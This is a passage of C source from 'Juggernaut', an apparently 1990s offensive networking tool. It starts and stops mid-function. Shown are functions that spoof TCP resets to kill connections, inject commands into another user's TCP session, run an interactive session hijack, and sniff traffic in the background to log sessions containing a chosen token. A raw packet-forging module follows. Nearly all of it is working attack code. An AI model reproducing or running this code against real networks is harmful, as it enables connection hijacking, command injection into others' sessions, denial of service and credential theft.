                                   I get better results */
            if(setpriority(PRIO_PROCESS,0,-20)){
	        if(verbosity)perror("acrst module (setpriority)");
                fprintf(stderr,"[cr]");
                getchar();
            }
            signal(SIGUSR1,spasm);  /* Keep track of the child and register
                                       it with the cleanup signal handler */
            signal(SIGINT,SIG_IGN);         
            signal(SIGQUIT,SIG_IGN);
            break;
        default:
            return;                          
        case -1:
            if(verbosity)perror("acrst module Internal forking error [fatal]");
            exit(1);
    }

    ALIGNNETPOINTERS();
         				        /* Preload these values. */
    sin.sin_family=AF_INET;
       	
    bzero(&tpack,sizeof(tpack));
    bzero(&ppheader,sizeof(ppheader)); 
  
    tpack.tcp.doff=5;   
    tpack.tcp.ack=1;
    tpack.tcp.rst=1;
    tpack.tcp.window=htons(242);	

    tpack.ip.version=4; 
    tpack.ip.ihl=5;
    tpack.ip.tot_len=htons(IPHDR+TCPHDR); 
    tpack.ip.ttl=64;
    tpack.ip.protocol=IPPROTO_TCP; 

    tempBuf=(char *)malloc(PHDR+TCPHDR);
    ppheader=(struct psuedoHeader *)tempBuf;

    ppheader->null=0;
    ppheader->prot=IPPROTO_TCP;
    ppheader->tlen=htons(TCPHDR);
 	
    while(1){
        if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn&&iphp->saddr==source){
            if(target)if(iphp->daddr!=target)continue;

            sin.sin_port=tcphp->dest;     
            sin.sin_addr.s_addr=iphp->saddr;
   
            tpack.tcp.source=tcphp->dest;
            tpack.tcp.dest=tcphp->source;

            for(moot=1;moot<RSTS+1;moot++){     /* Send RSTs, incrementing 
                                               acks as we go */

                tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));

                tpack.tcp.check=0;              		
                tpack.ip.saddr=iphp->daddr; 
                tpack.ip.daddr=iphp->saddr;  
                tpack.ip.check=0;   
    
                ppheader->saddr=tpack.ip.saddr;	
                ppheader->daddr=tpack.ip.daddr;

                bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
                tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);

	        sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
                fprintf(stderr,"%c-%c*",0x08,0x08);
            }
        }
    }
}

/*
 *  Simplex-hijack.  Really just inserts a command into the TCP stream.  This 
 *  will totally desynch the connection however and cause two things to happen:
 *  1) an ACK storm of epic proportions (maybe not, see accompanying paper) and
 *  2) the target user will have her connection destroyed.  To alleviate the 
 *  first problem, we simply reset the connection shortly after we hijack it. 
 *  The second problem is a burden with this kind of hijacking.
 */

void csimplexhijack(target,commandbuf)
struct connectionInfo *target;
char *commandbuf;
{

    void nettimeout();
    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);

    struct tpack{                   /* Generic TCP packet */
        struct iphdr ip;
        struct tcphdr tcp;
        char payload[BUFSIZE];
    }tpack;
   
   struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;
  
    struct sockaddr_in sin;         

    extern int ripsock;	
    extern int netreadtimeout;
    static int len;
    char *tempBuf;
    int tlinksock=tap(DEVICE);

    ALIGNNETPOINTERS();

    bzero(&tpack,sizeof(tpack));

    len=strlen(commandbuf)+1;			
    bcopy(commandbuf,tpack.payload,len--);
    sin.sin_family=AF_INET;
    sin.sin_port=target->sport;     
    sin.sin_addr.s_addr=target->daddr;

    tpack.tcp.source=target->sport;
    tpack.tcp.dest=target->dport;
    tpack.tcp.doff=5;
    tpack.tcp.ack=1;
    tpack.tcp.psh=1; 
    tpack.tcp.window=htons(242); 

    tpack.ip.version=4;   
    tpack.ip.ihl=5; 
    tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);	
    tpack.ip.ttl=64;
    tpack.ip.protocol=IPPROTO_TCP; 

    tpack.ip.saddr=target->saddr; 
    tpack.ip.daddr=target->daddr; 

    tempBuf=(char *)malloc(PHDR+TCPHDR+len);    /* Check me out y0 */
    ppheader=(struct psuedoHeader *)tempBuf;


    ppheader->saddr=tpack.ip.saddr;
    ppheader->daddr=tpack.ip.daddr;
    ppheader->null=0;
    ppheader->prot=IPPROTO_TCP;
    ppheader->tlen=htons(TCPHDR+len);
 
    fprintf(stderr,"(simplex) Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
 
    if(setjmp(env)){                            /* Timeout */
        if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
        return;
    }
    signal(SIGALRM,nettimeout);
    alarm(0);
    alarm(netreadtimeout);                      /* Wait 10 seconds for reply */
 
    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
        tpack.tcp.seq=tcphp->ack_seq;
        tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   

        bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
        tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

	sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));

	fprintf(stderr,"Command inserted, connection desynched.\n");
	sleep(JCKRST);	        /* Don't reset the connection too quickly, or 
                                   our command may not complete */
	crst(target);
        close(tlinksock);
        /* free(tempBuf);  	XXX */
	break;
    }
}

/*
 *  Hijack.  Desynchs the server from the client.  The resulting ACK storm 
 *  makes things very difficult.
 */

void chijack(target)
struct connectionInfo *target;
{

    void nettimeout();
    void seizure();
    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);
   

    struct tpack{
        struct iphdr ip;
        struct tcphdr tcp;
        char payload[2*BUFSIZE];
    }tpack;

    struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;                

    struct sockaddr_in sin;

    char buf[10*MINIBUF];
    char *tempBuf=0;

    extern int ripsock;	
    extern int netreadtimeout;
    extern int sigsentry;
    static int len;
    int tlinksock=tap(DEVICE);			
    
    ALIGNNETPOINTERS();

    bzero(&tpack,sizeof(tpack));

    sin.sin_family=AF_INET;
    sin.sin_port=target->sport;     
    sin.sin_addr.s_addr=target->daddr;

    tpack.tcp.source=target->sport;
    tpack.tcp.dest=target->dport;
    tpack.tcp.doff=5;
    tpack.tcp.ack=1;
    tpack.tcp.psh=1;
    tpack.tcp.window=htons(1024);

    tpack.ip.version=4;
    tpack.ip.ihl=5; 
    tpack.ip.ttl=64; 
    tpack.ip.protocol=IPPROTO_TCP;

    tpack.ip.saddr=target->saddr; 
    tpack.ip.daddr=target->daddr;

    tempBuf=(char *)malloc(PHDR+TCPHDR+len);
    ppheader=(struct psuedoHeader *)tempBuf;

    ppheader->saddr=tpack.ip.saddr;
    ppheader->daddr=tpack.ip.daddr;
    ppheader->null=0;
    ppheader->prot=IPPROTO_TCP;

    signal(SIGINT,seizure);

    fprintf(stderr,"Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
    fprintf(stderr,"'ctrl-c' when you are finished (this will RST the connection).\n"); 
    fprintf(stderr,"juggernaut>");

    fgets(buf,sizeof(buf),stdin);

    len=strlen(buf)+1;			
    bcopy(buf,tpack.payload,len--);

    tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);		
    ppheader->tlen=htons(TCPHDR+len);

    if(setjmp(env)){
        if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
        return;
    }
    signal(SIGALRM,nettimeout);
    alarm(0);
    alarm(netreadtimeout);  
                            /* Here we setup the initial hijack state.  We 
                               need to desynch the connection, and the next 
                               packet that comes by will be the catalyst. */
    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
        tpack.tcp.seq=tcphp->ack_seq;
        tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   

        bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
        tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);
    
	sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
	break;              
    }                   
                            
    alarm(0);
    while(sigsentry){                               /* Main hijack loop */
	if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
	    if(!tcphp->psh)continue;        /* If this is not data, ignore it */
            dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),0);

            bzero(&buf,sizeof(buf));
	    fgets(buf,sizeof(buf),stdin);
            
            if(!buf[1])continue;        /* No input data (CR) */ 

	    len=strlen(buf)+1;			
	    bcopy(buf,tpack.payload,len--);
            tpack.tcp.psh=1;
            tpack.tcp.check=0;                              
            tpack.ip.check=0; 

            tpack.ip.tot_len=htons(IPHDR+TCPHDR+len); 

            tpack.tcp.seq=tcphp->ack_seq;
            tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   

            ppheader->tlen=htons(TCPHDR+len);         
            bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
            tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

	    sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
        }
    }
    crst(target);
    /*free(tempBuf);        XXX */
    close(tlinksock);
}


/*
 *  Packet sniffer parses TCP packets for token.  Logs that packet, along with
 *  the next 'enticement` number of packets.  Not really all that robust.
 */

void bloodhound(token,enticementfactor)
char *token;
int enticementfactor;
{

    void parsep(char *,int,FILE *);
    void shadow();
    char *hostLookup(unsigned long);

    FILE *fp=0;                         
    time_t tp=0;

    int length=0;
    int grabflag=0;                     /* Time to grab some packets */
    unsigned long targetsourceip=0;
    unsigned short targetsourceport=0;
    int tlinksock=tap(DEVICE);          

    if(!(fp=fopen(SNIFLOG,"a+"))){      /* Log to file */
        if(verbosity){
            fprintf(stderr,"Cannot open file for logging. [fatal]\n");
            fprintf(stderr,"[cr]");
        }
        exit(0);
    }

    ALIGNNETPOINTERS();

    fprintf(stderr,"\nDropping to background, sniffing for smarmy tidbits...\n");

    shadow();                           /* Dropped to the background */
    fprintf(stderr,"\nSend a SIGKILL to %d when you are thorugh.\n",getpid());
 
    fprintf(fp,"\n---------------------------------------------------------------------\n[ Juggernaut bloodhound module log: token == '%s' ]\n",token);
    time(&tp);
    fprintf(fp,"[ Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
    fflush(fp);
    
    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP){
        length=htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp);

        if((!grabflag)&&(strstr((epack.payload-2),token))){   
            grabflag=enticementfactor;                           
            targetsourceip=iphp->saddr;                          
            targetsourceport=tcphp->source;
            fprintf(fp,"\n\t %s [%d]\t<-->\t %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest));
            parsep(epack.payload-2,length,fp);
        }                
        if(grabflag){                   /* We have a session marked and are
                                           logging it */
            if(iphp->daddr==targetsourceip&&tcphp->dest==targetsourceport){
                parsep(epack.payload-2,length,fp);
                grabflag--;
            }
        }        
    }
    /* NOTREACHED */
}


/* 
 *  Packet parser.  Print the packet out...
 */

void parsep(payload,length,fp)
char *payload;
int length;
FILE *fp;
{
    register int tickytacky=0;

    for(tickytacky=0;tickytacky<length;tickytacky++){
        if(payload[tickytacky]==0xd){        /* newline characater */
            fprintf(fp,"\n");
            continue;
        }
        if(isprint(payload[tickytacky]))fprintf(fp,"%c",payload[tickytacky]);
    }
    fflush(fp);
}


/*
 *  Handles network timeouts.
 */

void nettimeout(){

    alarm(0);
    longjmp(env,1);
}
<-->
<++> Juggernaut/NumberOneCrush/prometheus.c
/*
 *
 *                                  Juggernaut
 *                                  Version b2
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  prometheus.c - the packet assemby workshop module.  Each of the main 
 *  packet assembly subfunctions will end up calling the ip assembler to build
 *  the IP portion and send it (them) out.
 *
 *  Too many dependencies in menu.c 
 *
 *  Shout out to Nirva for some suggestions/help.  Nirva rules, BTW.  I love 
 *  Nirva.  You should too.
 *
 */


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/icmp.h>
#include <linux/if_ether.h>
#include <linux/if.h>
 
#define MINIBUF     10  
#define BUFSIZE     512
#define ETHHDR      14
#define PHDR        12
#define TCPHDR      20
#define UDPHDR      8
#define IPHDR       20

#define NOTRANSPORT     0x00
#define TCPTRANSPORT    0x01
#define UDPTRANSPORT    0x02
#define ICMPTRANSPORT   0x04

struct tpak{			/* TCP packet */
    struct tcphdr tcp;
    char payload[BUFSIZE];
}tpack;

struct upak{			/* UDP packet */
    struct udphdr udp;
    char payload[BUFSIZE];
}upack;

struct ipak{			/* ICMP packet */
    struct icmphdr icmp;
    char payload[BUFSIZE];
}ipack;

struct rippak{     		/* IP packet */
    struct iphdr ip;
    char payload[BUFSIZE+20];   /* Payload + transport header */
}rippack;

int woe;                        /* Global var to let us know where to return 
                                   to... */
extern int verbosity;

				/* This will change when IP/TCP options are 
                                   implemented... */
#define RIPPACKETSIZE 552	/* IP header + transport header of up to 20 
                                   bytes + 512 byte payload */

int prometheus(type)
int type;
{
    void tcpa();
    void udpa();
    void icmpa();
    void igmpa();
    void ripa(int);

    bzero(&rippack,sizeof(rippack));
    woe=0;

    switch(type){
        case 1:
	    tcpa();		/* TCP */
	    break;
	case 2:
	    udpa();		/* UDP */
	    break;
	case 3:				
	    icmpa();		/* ICMP */
	    break;
	case 4:
	    ripa(NOTRANSPORT);	/* RAW IP with no transport and no payload */	
	    break;
	case 5:
	    return(woe=1);      /* Done assembling packets */
	default:
	    break;              /* bad input -- not done */			
    }
    return(woe);
}


/* 
 *  TCP assembler
 */

void tcpa(){

    void ripa(int);
    void mwipe();
    void mpktatcp(int,unsigned short,unsigned short,unsigned long,unsigned long,char *,unsigned short,char *);

    char buf[2*MINIBUF];
    unsigned long val;
    int packetready=0;		/* flag bits */
    char data[4*MINIBUF]={0},flags[MINIBUF]={0},filename[4*MINIBUF]={0};
    int i,j,fd,loopsentry=1;

    bzero(&tpack,sizeof(tpack));

    srandom((unsigned)time(0)); /* seed psuedo random number generator */ 

    while(loopsentry){
        mwipe();	
	mpktatcp(packetready,ntohs(tpack.tcp.source),ntohs(tpack.tcp.dest),ntohl(tpack.tcp.seq),ntohl(tpack.tcp.ack_seq),flags,ntohs(tpack.tcp.window),data);
                    
        fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:         /* Source Port */
 	        fprintf(stderr,"\nSource Port (0 - 65535) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='r'){
		    tpack.tcp.source=htons(random()&0xffff);
		    packetready|=0x01;
		    break;
		}
                if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
		    if(packetready&0x01)packetready^=0x01;	/* Clear flag 
                                                                   if set */
		    tpack.tcp.source=0;
		    break;
		}
		tpack.tcp.source=htons(val);
		packetready|=0x01;
		break;
            case 2:         /* Destination Port */
	        fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='r'){
		    tpack.tcp.dest=htons(random()&0xffff);
		    packetready|=0x02;
		    break;
		}
                if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
		    if(packetready&0x02)packetready^=0x02;
		    tpack.tcp.dest=0;
		    break;
		}
		tpack.tcp.dest=htons(val);
		packetready|=0x02;
		break;
            case 3: 	    /* Sequence Number */
	        fprintf(stderr,"\nSequence Number (0 - 4294967295) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='r'){
		    tpack.tcp.seq=htonl(random());
		    packetready|=0x04;
		    break;
		}
                if(buf[0]=='q'||buf[0]=='-'){                           
		    if(packetready&0x04)packetready^=0x04;		
		    tpack.tcp.seq=0;
		    break;
		}
		tpack.tcp.seq=htonl(strtoul(buf,0,10));
		packetready|=0x04;
		break;
            case 4:         /* Acknowledgement Number */
	        fprintf(stderr,"\nAcknowledgement Number (0 - 4294967295) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='r'){
		    tpack.tcp.ack_seq=htonl(random());
		    packetready|=0x08;
		    break;
		}
                if(buf[0]=='q'||buf[0]=='-'){
		    if(packetready&0x08)packetready^=0x08;
		    tpack.tcp.ack_seq=0;
		    break;
		}
		tpack.tcp.ack_seq=htonl(strtoul(buf,0,10));
		packetready|=0x08;
		break;
	    case 5:         /* Control Flags */
	        i=0;
		bzero(flags,sizeof(flags));
	        fprintf(stderr,"\nURG? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;
		    tpack.tcp.urg=0;
		    break;
		}
	        if(buf[0]=='y'){
		    tpack.tcp.urg=1;
		    flags[i++]='U';
		}
		fprintf(stderr,"\nACK? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;		
		    tpack.tcp.ack=0;
		    break;
		}
		if(buf[0]=='y'){
		    tpack.tcp.ack=1;
		    flags[i++]='A';
		}
		fprintf(stderr,"\nPSH? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;
		    tpack.tcp.psh=0;
		    break;
		}
		if(buf[0]=='y'){
		    tpack.tcp.psh=1;
		    flags[i++]='P';
		}
		fprintf(stderr,"\nRST? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;	
		    tpack.tcp.rst=0;
		    break;
		}
		if(buf[0]=='y'){
		    tpack.tcp.rst=1;
		    flags[i++]='R';
		}
		fprintf(stderr,"\nSYN? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;
		    tpack.tcp.syn=0;
		    break;
		}
		if(buf[0]=='y'){
		    tpack.tcp.syn=1;
		    flags[i++]='S';
		}
		fprintf(stderr,"\nFIN? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
	        if(buf[0]=='q'){
		    if(packetready&0x10)packetready^=0x10;		
		    tpack.tcp.fin=0;
		    break;
		}
		if(buf[0]=='y'){
		    tpack.tcp.fin=1;
		    flags[i++]='F';
	        }
		if(!flags[0])strcpy(flags,"none set");
		packetready|=0x10;
		break;
            case 6:     /* Window Size */
	        fprintf(stderr,"\nWindow Size (0 - 65535) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='r'){
		    tpack.tcp.window=htons(random()&0xffff);
		    packetready|=0x20;
		    break;
		}
                if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
		    if(packetready&0x20)packetready^=0x20;
		    tpack.tcp.window=0;
		    break;
		}
		tpack.tcp.window=htons(val);
		packetready|=0x20;
		break;
            case 7:     /* Data payload */
	        bzero(data,sizeof(data));
		bzero(tpack.payload,sizeof(tpack.payload));
		bzero(filename,sizeof(filename));
		fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='c'){	/* Input from command line */
		    fprintf(stderr,"\nEnter Payload [q] >");
		    fgets(tpack.payload,sizeof(tpack.payload),stdin);
		    strncpy(data,tpack.payload,sizeof(data));
		    packetready|=0x40;
		    break;
		}
		if(buf[0]=='f'){	/* Input from file */
		    fprintf(stderr,"\nFilename [q] >");
		    if(buf[0]==0x0a||buf[0]=='q')break;
		    fgets(filename,sizeof(filename),stdin);
		    for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
		    filename[--i]=0;	/* Pesky Newline */
		    if((fd=open(filename,O_RDONLY))<0){
                        if(verbosity){
                            fprintf(stderr,"Cannot open file for reading.\n");
                            fprintf(stderr,"[cr]");
                            getchar();
                        }
			continue;
                    }
                    i=0;
                    j=0;
		    while(i<512){
                        j=read(fd,tpack.payload,sizeof(tpack.payload));
                        if(!j)break;    /* No more bytes ta read */
                        i+=j;
                    }
		    strncpy(data,filename,sizeof(filename));
		    close(fd);
		    packetready|=0x40;
		    break;
       	        }   
		if(packetready&0x40)packetready^=0x40;
		bzero(data,sizeof(data));
		bzero(tpack.payload,sizeof(tpack.payload));
		break;
	    case 8:         /* Return to previous menu */
	        loopsentry=0;
                bzero(&tpack,sizeof(tpack));
		break;
            case 9:         /* Return to Main */
	        loopsentry=0;
                woe=1;
                break;
	    case 10:        /* RIP assembler */
	        if(packetready==0x07f){	    /* AND mask of all the options */
                    tpack.tcp.doff=5;       /* Data offset */
		    ripa(TCPTRANSPORT);	    /* Checksum will be computed in 
                                               ripa */
		    break;
		}
                continue;
	    default:        /* Bad input */
	        continue;
        }
    }
}

/* 
 *  UDP assembler
 */

void udpa(){

    void ripa(int);
    void mwipe();
    void mpktaudp(int,unsigned short,unsigned short,char *);

    char buf[2*MINIBUF];
    unsigned long val;
    int packetready=0;		/* flag bits */
    char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};
    int i=0,j,fd=0,loopsentry=1;

    bzero(&upack,sizeof(upack));

    srandom((unsigned)time(0));

    while(loopsentry){
        mwipe();	

	mpktaudp(packetready,ntohs(upack.udp.source),ntohs(upack.udp.dest),data);
                
	fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:         /* Source Port */
	        fprintf(stderr,"\nSource Port (0 - 65535) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]==0x0a||buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01;	
		    upack.udp.source=0;
		    break;
		}
		if(buf[0]=='r'){
		    upack.udp.source=htons(random()&0xffff);
		    packetready|=0x01;
		    break;
		}
		if(!(int)(val=atoi(buf)))break;
	        upack.udp.source=htons(val);
		packetready|=0x01;
		break;
            case 2:	    /* Destination Port */
	        fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]==0x0a||buf[0]=='q'){
		    if(packetready&0x02)packetready^=0x02;
		    upack.udp.dest=0;
		    break;
		}
		if(buf[0]=='r'){
		    upack.udp.dest=htons(random()&0xffff);
		    packetready|=0x02;
		    break;
                }
		if(!(int)(val=atoi(buf)))break;
		upack.udp.dest=htons(val);
		packetready|=0x02;
		break;
	    case 3:	    /* Data payload */
	        bzero(data,sizeof(data));
	        bzero(upack.payload,sizeof(upack.payload));
		bzero(filename,sizeof(filename));
		fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='c'){	/* Input from command line */
		    fprintf(stderr,"\nEnter Payload [q] >");
		    fgets(upack.payload,sizeof(upack.payload),stdin);
		    strncpy(data,upack.payload,sizeof(data));
		    packetready|=0x04;
		    break;
		}
	        if(buf[0]=='f'){	/* Input from file */
		    fprintf(stderr,"\nFilename [q] >");
		    if(buf[0]==0x0a||buf[0]=='q')break;
		    fgets(filename,sizeof(filename),stdin);
		    for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
		    filename[--i]=0;
		    if((fd=open(filename,O_RDONLY))<0){
                        if(verbosity){
                            fprintf(stderr,"Cannot open file for reading.\n");
                            fprintf(stderr,"[cr]");
                            getchar();
                        }
			continue;
                    }
                    i=0;
                    j=0;
		    while(i<512){
                        j=read(fd,upack.payload,sizeof(upack.payload));
                        if(!j)break;  
                        i+=j;
                    }
		    strncpy(data,filename,sizeof(filename));
		    close(fd);
		    packetready|=0x04;
		    break;
       	 	}
		if(packetready&0x04)packetready^=0x04;
		bzero(data,sizeof(data));
		bzero(upack.payload,sizeof(upack.payload));
		break;
	    case 4:     /* Return to previous menu */
	        loopsentry=0;
                bzero(&upack,sizeof(upack));
		break;
            case 5:     /* Retuen to Main */
                loopsentry=0;
                woe=1;
                break;
	    case 6:     /* RIP assembler */
	        if(packetready==0x07){		
                    upack.udp.len=htons(UDPHDR+BUFSIZE);
		    ripa(UDPTRANSPORT);		
		    break;
		}
	        continue;
	    default:    /* bad input */
	        continue;   
        }
    }
}

/* 
 *  ICMP assembler
 *  This is no where as robust as it should be.  In fact, it doesn't really 
 *  create legal ICMP packets.  Oh well.  Next version.  I am tired of
 *  packet assembly duldrums...
 */

void icmpa(){

    void ripa(int);
    void mwipe();
    void mpktaicmp(int,unsigned short,unsigned short,char *);

    char buf[2*MINIBUF];
    unsigned long val;
    int packetready=0;		/* flag bits */
    char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};
    int i=0,j,fd=0,loopsentry=1;

    bzero(&ipack,sizeof(ipack));

    while(loopsentry){
        mwipe();	

        mpktaicmp(packetready,ipack.icmp.type,ipack.icmp.code,data);
                
	fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:				/* Type */
	        fprintf(stderr,"\nType (0,3,4,5,8,9,10,11,12,13,14,15,16,17,18) [q] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]==0x0a||buf[0]=='q'){
		    if(packetready&0x01)packetready^=0x01;
		    ipack.icmp.type=0;
		    break;
		}
	        if(!(int)(val=atoi(buf)))break;
		ipack.icmp.type=val;
		packetready|=0x01;
		break;
            case 2:				/* Code */
	        fprintf(stderr,"\nCode (0,1 {2,3}) [q] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]==0x0a||buf[0]=='q'){
		if(packetready&0x02)packetready^=0x02;
		    ipack.icmp.code=0;
		    break;
		}
		if(!(int)(val=atoi(buf)))break;
		ipack.icmp.code=val;
		packetready|=0x02;
		break;
	    case 3:				/* Data payload */
	        bzero(data,sizeof(data));
		bzero(ipack.payload,sizeof(ipack.payload));
		bzero(filename,sizeof(filename));
		fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='c'){	/* Input from command line */
		    fprintf(stderr,"\nEnter Payload [q] >");
		    fgets(ipack.payload,sizeof(ipack.payload),stdin);
		    strncpy(data,ipack.payload,sizeof(data));
		    packetready|=0x04;
		    break;
		}
		if(buf[0]=='f'){	/* Input from file */
		    fprintf(stderr,"\nFilename [q] >");
		    if(buf[0]==0x0a||buf[0]=='q')break;
		    fgets(filename,sizeof(filename),stdin);
		    for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
		    filename[--i]=0;	
		    if((fd=open(filename,O_RDONLY))<0){
                        if(verbosity){
                            fprintf(stderr,"Cannot open file for reading.\n");
                            fprintf(stderr,"[cr]");
                            getchar();
                        }
		        continue;
                    }
                    i=0;
                    j=0;
                    while(i<512){
                        j=read(fd,upack.payload,sizeof(upack.payload));
                        if(!j)break; 
                        i+=j;
                    }
                    strncpy(data,filename,sizeof(filename));
		    close(fd);
		    packetready|=0x04;
		    break;
       	 	}
		if(packetready&0x04)packetready^=0x04;	
		bzero(data,sizeof(data));
		bzero(ipack.payload,sizeof(ipack.payload));
		break;
	    case 4:	
                loopsentry=0;
	        bzero(&ipack,sizeof(ipack));
		break;
            case 5:
                loopsentry=0;
                woe=1;
                break;
	    case 6: 
	        if(packetready==0x07){	
		    ripa(ICMPTRANSPORT);		
		    break;
		}
		continue;
	    default: 
	        continue;
        }
    }
}


/* 
 *  IP assembler and xmitter.  Transport layer checksum routines thanks to 
 *  Myth (Red, actually).
 */

void ripa(transport)
int transport;
{

    void mwipe();
    void mpktaip(int,char *,char *,unsigned short,unsigned short,char *,char *,int,char *);
    char *hostLookup(unsigned long);
    unsigned long nameResolve(char *);
    unsigned short in_cksum(unsigned short *,int);
    

    char buf[2*MINIBUF];
    unsigned long val;
    char tosflags[MINIBUF]={0},fflags[MINIBUF]={0},packettype[MINIBUF]={0};
    char sip[2*MINIBUF]={0},dip[2*MINIBUF]={0},*tempBuf;
    int packetready=0;              /* flag bits */
    int i=0,j=0,k=0;                /* Counters */
    int loopsentry=1,number=0;

    struct sockaddr_in sin;	 

    struct psuedoHeader{                        
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;

    extern int ripsock;

    bzero(&rippack,sizeof(rippack));
    bzero((char *)&sin,sizeof(sin));
	
    srandom((unsigned)time(0));   

    while(loopsentry){
        i=0;
        mwipe();
        mpktaip(packetready,tosflags,fflags,ntohs(rippack.ip.frag_off),rippack.ip.ttl,sip,dip,number,packettype);
        
        fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:     /* TOS */
	        bzero(tosflags,sizeof(tosflags));
		fprintf(stderr,"\nMinimize Delay? [yNq] >");
                fgets(buf,sizeof(buf),stdin);
		if(buf[0]=='q'){
